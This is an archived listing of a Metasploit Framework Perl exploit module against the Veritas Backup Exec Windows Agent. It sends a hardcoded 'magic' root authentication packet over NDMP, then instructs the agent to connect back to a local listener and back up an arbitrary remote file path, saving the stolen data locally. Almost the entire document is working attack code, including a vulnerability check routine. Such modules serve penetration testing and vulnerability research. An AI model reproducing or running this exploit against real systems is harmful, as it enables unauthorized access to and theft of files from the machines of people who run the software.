home *** CD-ROM | disk | FTP | other *** search
/ Chip 2007 January, February, March & April / Chip-Cover-CD-2007-02.iso / Pakiet bezpieczenstwa / mini Pentoo LiveCD 2006.1 / mpentoo-2006.1.iso / livecd.squashfs / usr / lib / metasploit / exploits / backupexec_dump.pm < prev    next >
Encoding:
Perl POD Document  |  2006-06-30  |  8.5 KB  |  402 lines
  1.  
  2. ##
  3. # This file is part of the Metasploit Framework and may be redistributed
  4. # according to the licenses defined in the Authors field below. In the
  5. # case of an unknown or missing license, this file defaults to the same
  6. # license as the core Framework (dual GPLv2 and Artistic). The latest
  7. # version of the Framework can always be obtained from metasploit.com.
  8. ##
  9.  
  10. ##
  11. # Original code written by <CENSORED> and ported to the Framework by HDM
  12. ##
  13.  
  14. package Msf::Exploit::backupexec_dump;
  15. use base "Msf::Exploit";
  16. use strict;
  17. use Pex::Text;
  18. use IO::Socket;
  19. use IO::Select;
  20.  
  21. my $advanced = { };
  22.  
  23. my $info =
  24.   {
  25.     'Name'      => 'Veritas Backup Exec Windows Remote File Access',
  26.     'Version'      => '$Revision: 1.6 $',
  27.     'Authors'     => [ 'anonymous' ],
  28.     'Arch'      => [ ],
  29.     'OS'        => [ ],
  30.  
  31.     'UserOpts'    =>
  32.       {
  33.         'RHOST' => [1, 'ADDR', 'The target IP address'],
  34.         'RPORT' => [1, 'PORT', 'The target NDMP port', 10000],
  35.         'RPATH' => [0, 'DATA', 'The remote file path to obtain'],
  36.         
  37.         'LHOST' => [1, 'ADDR', 'The local IP address', '0.0.0.0'],
  38.         'LPORT' => [1, 'PORT', 'The local listner port', 44444],
  39.         'LPATH' => [0, 'DATA', 'The local backup file path'],
  40.       },
  41.  
  42.     'Description'  => Pex::Text::Freeform(qq{
  43.     This module abuses a logic flaw in the Backup Exec Windows Agent to download
  44. arbitrary files from the system. This flaw was found by someone who wishes to
  45. remain anonymous and affects all known versions of the Backup Exec Windows Agent. The 
  46. output file is in 'MTF' format, which can be extracted by the 'NTKBUp' program 
  47. listed in the references section.
  48. }),
  49.  
  50.     'Refs' =>
  51.       [
  52.           ['OSVDB', '18695'],      
  53.           ['BID', '14551'],
  54.         ['URL', 'http://www.fpns.net/willy/msbksrc.lzh'],
  55.         ['MIL', '88'],
  56.       ],
  57.  
  58.     'DefaultTarget' => 0,
  59.     'Targets' =>
  60.       [
  61.         ['Veritas Remote File Access'],
  62.       ],
  63.  
  64.     'Keys' => ['veritas'],
  65.  
  66.     'DisclosureDate' => 'Aug 12 2005',
  67.   };
  68.  
  69. sub new {
  70.     my $class = shift;
  71.     my $self = $class->SUPER::new({'Info' => $info, 'Advanced' => $advanced}, @_);
  72.     return($self);
  73. }
  74.  
  75. sub Check {
  76.     my $self        = shift;
  77.     my $remote_host = $self->GetVar('RHOST');
  78.     my $remote_port = $self->GetVar('RPORT');
  79.  
  80.     my $s = Msf::Socket::Tcp->new(
  81.         'PeerAddr'  => $remote_host,
  82.         'PeerPort'  => $remote_port,
  83.         'SSL'       => $self->GetVar('SSL'),
  84.       );
  85.  
  86.     if ( $s->IsError ) {
  87.         $self->PrintLine( '[*] Error connecting to Veritas agent: ' . $s->GetError );
  88.         return $self->CheckCode('Connect');
  89.     }
  90.  
  91.     my $res;
  92.     my $pkt;
  93.     
  94.     $res = $self->AgentRead($s);
  95.     if (! $res) {
  96.         $self->PrintLine('[*] Did not receive greeting from the agent');
  97.         $s->Close;
  98.         return $self->CheckCode('Unknown');
  99.     }
  100.  
  101.     my $username = "root";
  102.     my $password = "\xb4\xb8\x0f\x26\x20\x5c\x42\x34\x03\xfc\xae\xee\x8f\x91\x3d\x6f"; 
  103.  
  104.     # Create the CONNECT_CLIENT_AUTH request
  105.     $pkt =
  106.       pack('N', 1).
  107.       pack('N', time()).
  108.       pack('N', 0).
  109.       pack('N', 0x0901).
  110.       pack('N', 0).
  111.       pack('N', 0).
  112.       pack('N', 2).
  113.       pack('N', length($username)).
  114.       $username.
  115.       $password;
  116.  
  117.     $self->PrintLine( "[*] Sending magic authentication request...");
  118.     
  119.     $self->AgentSend($s, $pkt);
  120.     $res = $self->AgentRead($s);
  121.     $s->Close;
  122.     
  123.     if (! $res) {
  124.         $self->PrintLine('[*] Did not receive authentication response');
  125.         return $self->CheckCode('Safe');    
  126.     }
  127.  
  128.     my @words = unpack('N*', $res);
  129.     
  130.     if (
  131.         $words[2] == 1 && 
  132.         $words[3] == 0x0901 &&
  133.          $words[5] == 0 &&
  134.           $words[6] == 0
  135.        ) {
  136.         $self->PrintLine('[*] This system appears to be vulnerable');
  137.         return $self->CheckCode('Appears');
  138.     }
  139.     
  140.     $self->PrintLine('[*] This system does not appear to be vulnerable');
  141.     return $self->CheckCode('Safe');
  142. }
  143.  
  144. sub Exploit {
  145.     my $self        = shift;
  146.     my $remote_host = $self->GetVar('RHOST');
  147.     my $remote_port = $self->GetVar('RPORT');
  148.     my $remote_path = $self->GetVar('RPATH');
  149.  
  150.     my $local_host  = $self->GetVar('LHOST');
  151.     my $local_port  = $self->GetVar('LPORT');
  152.     my $local_path  = $self->GetVar('LPATH');
  153.     
  154.     
  155.     if (! $local_path) {
  156.         $self->PrintLine("[*] Please specify a local file name for the LPATH option");
  157.         return;
  158.     }
  159.  
  160.     if (! $remote_path) {
  161.         $self->PrintLine("[*] Please specify a remote file path for the RPATH option");
  162.         return;
  163.     }
  164.         
  165.     $self->PrintLine( "[*] Attempting to retrieve $remote_path...");
  166.  
  167.     my $s = Msf::Socket::Tcp->new(
  168.         'PeerAddr'  => $remote_host,
  169.         'PeerPort'  => $remote_port,
  170.         'SSL'       => $self->GetVar('SSL'),
  171.       );
  172.  
  173.     if ( $s->IsError ) {
  174.         $self->PrintLine( '[*] Error connecting to Veritas agent: ' . $s->GetError );
  175.         return;
  176.     }
  177.  
  178.     my $res;
  179.     my $pkt;
  180.     
  181.     $res = $self->AgentRead($s);
  182.     if (! $res) {
  183.         $self->PrintLine('[*] Did not receive greeting from the agent');
  184.         $s->Close;
  185.         return;
  186.     }
  187.  
  188.     my $username = "root";
  189.     my $password = "\xb4\xb8\x0f\x26\x20\x5c\x42\x34\x03\xfc\xae\xee\x8f\x91\x3d\x6f"; 
  190.  
  191.     # Create the CONNECT_CLIENT_AUTH request
  192.     $pkt =
  193.       pack('N', 1).
  194.       pack('N', time()).
  195.       pack('N', 0).
  196.       pack('N', 0x0901).
  197.       pack('N', 0).
  198.       pack('N', 0).
  199.       pack('N', 2).
  200.       pack('N', length($username)).
  201.       $username.
  202.       $password;
  203.  
  204.     $self->PrintLine( "[*] Sending magic authentication request...");
  205.     
  206.     $self->AgentSend($s, $pkt);
  207.     $res = $self->AgentRead($s);
  208.     if (! $res) {
  209.         $self->PrintLine('[*] Did not receive authentication response');
  210.         return;
  211.     }
  212.  
  213.     $self->PrintLine("[*] Starting the data connection listener on $local_port...");
  214.     my $l = IO::Socket::INET->new
  215.       (
  216.         'LocalPort' => $local_port,
  217.         'Proto'     => 'tcp',
  218.         'ReuseAddr' => 1,
  219.         'Listen'    => 5,
  220.         'Blocking'  => 0,
  221.       );
  222.     
  223.     if (! $l) {
  224.         $self->PrintLine("[*] Failed to start the listener: $!");
  225.         return;
  226.     }
  227.     
  228.     my $sel = IO::Select->new($l);
  229.     
  230.     if ($local_host eq "0.0.0.0") {
  231.         $local_host = $s->Socket->sockhost;
  232.     }
  233.     
  234.     # Create the DATA_CONNECT request
  235.     $pkt =
  236.         pack('NNNNNNN',
  237.             3,
  238.             0,
  239.             0,
  240.             0x040a,
  241.             0,
  242.             0,
  243.             1
  244.         ).
  245.         gethostbyname($local_host).
  246.         pack('N', $local_port);
  247.         
  248.     $self->PrintLine("[*] Directing the server to $local_host:$local_port...");
  249.     
  250.     $self->AgentSend($s, $pkt);
  251.     $res = $self->AgentRead($s);
  252.     if (! $res) {
  253.         $self->PrintLine('[*] Did not receive data connect response');
  254.         return;
  255.     }
  256.  
  257.     $self->PrintLine("[*] Waiting 15 seconds for the agent to connect...");
  258.     my @rdy = $sel->can_read(15);
  259.     if (! @rdy) {
  260.         $self->PrintLine("[*] No connection received from the agent :-(");
  261.         return;
  262.     }
  263.     
  264.     my $cli = $l->accept();
  265.     if (! $cli) {
  266.         $self->PrintLine("[*] Encountered an error accepting the connection: $!");
  267.         return;
  268.     }
  269.     
  270.     my $d = Msf::Socket::Tcp->new_from_socket($cli);
  271.     
  272.     $self->PrintLine("[*] Connection received from ".$d->PeerAddr." :-)");
  273.     
  274.     # Create the MOVER_SET_RECORD_SIZE request
  275.     $pkt= 
  276.         pack('NNNNNNN',
  277.             4,
  278.             0,
  279.             0,
  280.             0x0a08,
  281.             0,
  282.             0,
  283.             0x8000,
  284.         );
  285.         
  286.     $self->AgentSend($s, $pkt);
  287.     $res = $self->AgentRead($s);
  288.     if (! $res) {
  289.         $self->PrintLine('[*] Did not receive mover set response');
  290.         return;
  291.     }
  292.  
  293.     # The environment needed to perform the actual backup
  294.     my %define_env =
  295.     (
  296.         'USERNAME'                => '',
  297.         'BU_EXCLUDE_ACTIVE_FILES' => "0",
  298.         'FILESYSTEM'              => "\"\\\\$remote_host\\$remote_path\",v0,t0,l0,n0,f0",
  299.     );
  300.  
  301.     # Create the DATA_START_BACKUP request
  302.     $pkt =
  303.         pack('NNNNNNN',
  304.             5,
  305.             0,
  306.             0,
  307.             0x0401,
  308.             0,
  309.             0,
  310.             4,
  311.         ).
  312.         "dump".
  313.         pack("N", scalar(keys %define_env));
  314.     
  315.     foreach my $var (keys %define_env) {
  316.         
  317.         $pkt .= pack("N", length($var));
  318.         $pkt .= $var;
  319.         if (length($var) % 4) {
  320.             $pkt .= "\x00" x (4 - (length($var) % 4));
  321.         }
  322.         
  323.         $pkt .= pack("N", length($define_env{$var}));
  324.         $pkt .= $define_env{$var};
  325.         if (length($define_env{$var}) % 4) {
  326.             $pkt .= "\x00" x (4 - (length($define_env{$var}) % 4));
  327.         }
  328.     }    
  329.  
  330.     substr($pkt, -1, 1) = "\x01";
  331.     
  332.     $self->AgentSend($s, $pkt);
  333.     $res = $self->AgentRead($s);
  334.     if (! $res) {
  335.         $self->PrintLine('[*] Did not receive backup start response');
  336.         return;
  337.     }
  338.  
  339.     # Create the GET_ENV request
  340.     $pkt =
  341.         pack('NNNNNN',
  342.             5,
  343.             0,
  344.             0,
  345.             0x4004,
  346.             0,
  347.             0,
  348.         );
  349.  
  350.     $self->AgentSend($s, $pkt);
  351.     $res = $self->AgentRead($s);
  352.     if (! $res) {
  353.         $self->PrintLine('[*] Did not receive get env response');
  354.         return;
  355.     }
  356.  
  357.     if (! open(TMP, ">". $local_path)) {
  358.         $self->PrintLine("[*] Could not open local file for writing: $!");
  359.         return;
  360.     }
  361.     
  362.     my $data;
  363.     do 
  364.     {
  365.         $data = $d->Recv(524288, 10);
  366.         if ($data) {
  367.             $self->PrintLine("[*] Obtained ".length($data)." bytes from the agent");
  368.             print TMP $data;
  369.         }
  370.         else {
  371.             $self->PrintLine("[*] Reached the end of the backup data");
  372.         }
  373.         
  374.     } while ($data);
  375.     close(TMP);
  376.             
  377.     return;
  378. };
  379.  
  380. sub AgentRead {
  381.     my $self = shift;
  382.     my $sock = shift;
  383.     my $rlen = $sock->Recv(4, 10);
  384.     return if ! $rlen;
  385.     
  386.     my $plen = unpack('N', $rlen);
  387.     return if ! $plen;
  388.     
  389.     my $data = $sock->Recv($plen & 0x7fffffff, 10);
  390.     return $data;
  391. }
  392.  
  393. sub AgentSend {
  394.     my $self = shift;
  395.     my $sock = shift;
  396.     my $data = shift;
  397.     return if ! $data;
  398.     return $sock->Send(pack('N', 0x80000000 + length($data)) . $data);
  399. }
  400.  
  401. 1;
  402.